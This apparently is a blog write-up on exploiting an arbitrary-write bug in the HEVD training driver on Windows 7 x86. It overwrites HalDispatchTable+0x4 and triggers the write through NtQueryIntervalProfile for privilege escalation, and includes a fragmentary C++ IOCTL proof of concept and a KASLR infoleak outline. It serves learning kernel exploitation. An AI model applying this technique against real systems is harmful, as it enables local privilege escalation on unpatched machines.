HEVD - Windows 7 x86 Kernel Arbitrary Write - Abusing the HAL for a Classic Write-What-Where

This post covers the HEVD exploitation of overwriting HalDispatchTable+0x4 and calling NtQueryIntervalProfile() to obtain EOP.

Let’s get this over with so I can go back to exploring Windows 10 and re-reading Windows Internals along with the new Windows 10 programming book that Pavel is releasing. Arbitrary Overwrites, otherwise can be referred to in this context as Write-What-Where exploitation, or even better, HalDistpatchTable overwrites. This post will focus on exploiting the Arbitrary Write vulnerability in the HEVD driver on a Windows 7 x86 system.


If you can gain some kind of arbitrary write in the Windows kernel, you can leverage that for EOP.


The payload that will be written is the say token-stealing shellcode payload that can be run through VirtualAlloc and some ctypes magic to turn it into a pointer, which we can write into a specified memory region.


This technique will cover the HalDispatchTable+0x4 exploitation technique, where we will write our shellcode address into the HAL Dispatch table, we will overwrite a Dispatch Table pointer, which we can later call with the NtQueryIntervalProfile function. On that note, this post will also be covering some undocumented Windows API function research with WinDBG.

HalDistpatchTable exploitation research & analysis

The HalDispatchTable is responsible for acting as a table which holds function pointers to various HAL routines. The HAL (Hardware Abstraction Layer) is responsible for acting as a software layer between kernel-mode execution and as an interface to hardware (motherboards, CPU, NICs, other devices) and the HAL is located in hal.dll which is invoked by ntoskrnl.exe

Our exploitation technqiue

With our arbitrary write vulnerability, we can write a controlled payload address to a controlled memory location in the kernel.

With our Arbitrary Write, we need to find a good place to write to. We are going to overwrite a pointer that resides in the HalDispatchTable, specifically we want to utilize the HalDispatchTable since we can invoke and call it from a user-mode perspective, we can call aspects of the HalDispatchTable via the undocumented function NtQueryIntervalProfile

NtQueryIntervalProfile (
    KPROFILE_SOURCE ProfileSource, 
    ULONG *Interval);

which will invoke nt!KeQueryIntervalProfile in the kernel which is used to leverage a call to HalDispatchTable+0x4. So if we overwrite HalDispatchTable+0x4 and then invoke the NtQueryIntervalProfile function, that acts as a trigger. We can write our shellcode payload pointer into KernelLand and have it triggered via a UserLand function call.

So why 0x4 in the HAL Heap table?

As mentioned the NtQueryIntervalProfile function makes a direct call to KeQueryIntervalProfile, you can see that occuring below.

hal 1

We can see how the KeQueryIntervalProfile function specifically will invoke a call to the 0x4 location of the HAL table.


hal 2

So when we overwrite 0x4, we can call it from a user-mode function (NtQueryIntervalProfile).

Our exploitation workflow is as follows

  1. Locate the HalDispatchTable in the kernel (via the NtQuerySystemInformation function)
  2. Overwrite HalDispatchTable+0x4 with our shellcode payload pointer address
  3. Calculate and locate the address of NtQueryIntervalProfile
  4. Call NtQueryIntervalProfile and trigger our EOP shell

The HEVD vulnerability & analysis

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);

The vulnerability here is being shown really well, the issue is the lack of validation of the two pointers Where and What on the line *(Where) = *(What);. It’s not properly validating where the pointer values reside. In the secure version of the function, it’s utilizing the ProbeForRead function which is a routine that checks that a user-mode buffer is actually residing in the user portion of the address space.

void ProbeForRead(
  const volatile VOID *Address,
  SIZE_T              Length,
  ULONG               Alignment

The provided parameters that are given by this secure function is the address of the beginning of the user-mode buffer the size and length of the buffer, and it’s also specifying the required alignment.

IOCTL discovery & driver communication

For discovering the needed IOCTL, we can use just the provided CTL_MACRO again from the source code of the file.

ioctl 1

You can use this to calculate the IOCTL.

ioctl 2

Like always, there are multiple ways to capture and discover IOCTLs, feel free to use IDA for static analysis which leads to IOCTL discovery.

Now that we have the needed IOCTL we can send out skeleton script with a payload to the device driver.

#include <windows.h>
#include <iostream>

#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200b

int main(){
    std::cout << "[+] HEVD - Arbitrary overwrite Windows 7 x86 exploit POC\n\n";

    HANDLE hDevice = CreateFileA(DEVICE_NAME,
                                 GENERIC_READ | GENERIC_WRITE,
                                 FILE_SHARE_READ | FILE_SHARE_WRITE,
                                 FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,

    if (hDevice == INVALID_HANDLE_VALUE){
        std::cout << "[!] Failed to establish a device handler" << GetLastError() << std::endl;
    } else {
        std::cout << "[+] Established a handle to the device - " << DEVICE_NAME << std::endl;

    std::cout << "[+] Preparing the buffer payload\n";

    DWORD InBufferSize = 0x64;
    LPVOID inputBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, InBufferSize);

        std::cout << "[!] Failed to allocate buffer memory\n";
    } else {
        std::cout << "[+] Input buffer memory successfully allocated\n";

    RtlFillMemory((PVOID)inputBuffer, 0x4, 0x41);
    RtlFillMemory((PVOID)(inputBuffer + 1), 0x4, 0x42);

    std::cout << "[+] Filled input buffer\n";

    DWORD sizeReturn = 0;
    BOOL deviceCom = DeviceIoControl(hDevice,

    HeapFree(GetProcessHeap(), 0, LPVOID(inputBuffer));

    return 0;

This code should trigger the vulnerability if you decide to set a breakpoint on TriggerArbitraryOverwrite.

Infoleak to get the base address

In order to locate the HAL before overwriting it, we need to locate it, and in order to do that we would need obtain the base address of the kernel, and in order to do that we need to utilize a few undocumented aspects of the kernel, and we also need an info leak to bypass KASLR.

Quick edit : hello from the future, I have written an extremly in-depth post about Windows information leaks, if you want to learn more about the upcoming one, refer to this post https://fullpwnops.com/Windows-10-kaslr-infoleak/

We can use the NtQuerySystemInformation function for a easy information leak, this will allow us to obtain the kernel base address from ntoskrnl, which will allow us to calculate and locate the HAL. Before we overwrite the HAL entry, we need to find where it is.

This information leak comes from the NtQuerySystemInformation, which is actually not the best method for information leaks on Windows, because it requires a medium integrity process.

__kernel_entry NTSTATUS NtQuerySystemInformation(
  OUT PVOID                   SystemInformation,
  IN ULONG                    SystemInformationLength,
  OUT PULONG                  ReturnLength

In order to fill out this function, we will need to dive back into the world of undocumented data structures on Windows, the first member structure is SYSTEM_INFORMATION_CLASS, the documentation comes from https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/class.htm, and you can see the structure definition below.

We can also refer to the sam-b github repository that gives a information leak POC.

	SystemExtendedHandleInformation = 64

Overwriting 0x4

Triggering our shellcode with NtQueryIntervalProfile

\(ツ)/ EOP Party!!! \(ツ)/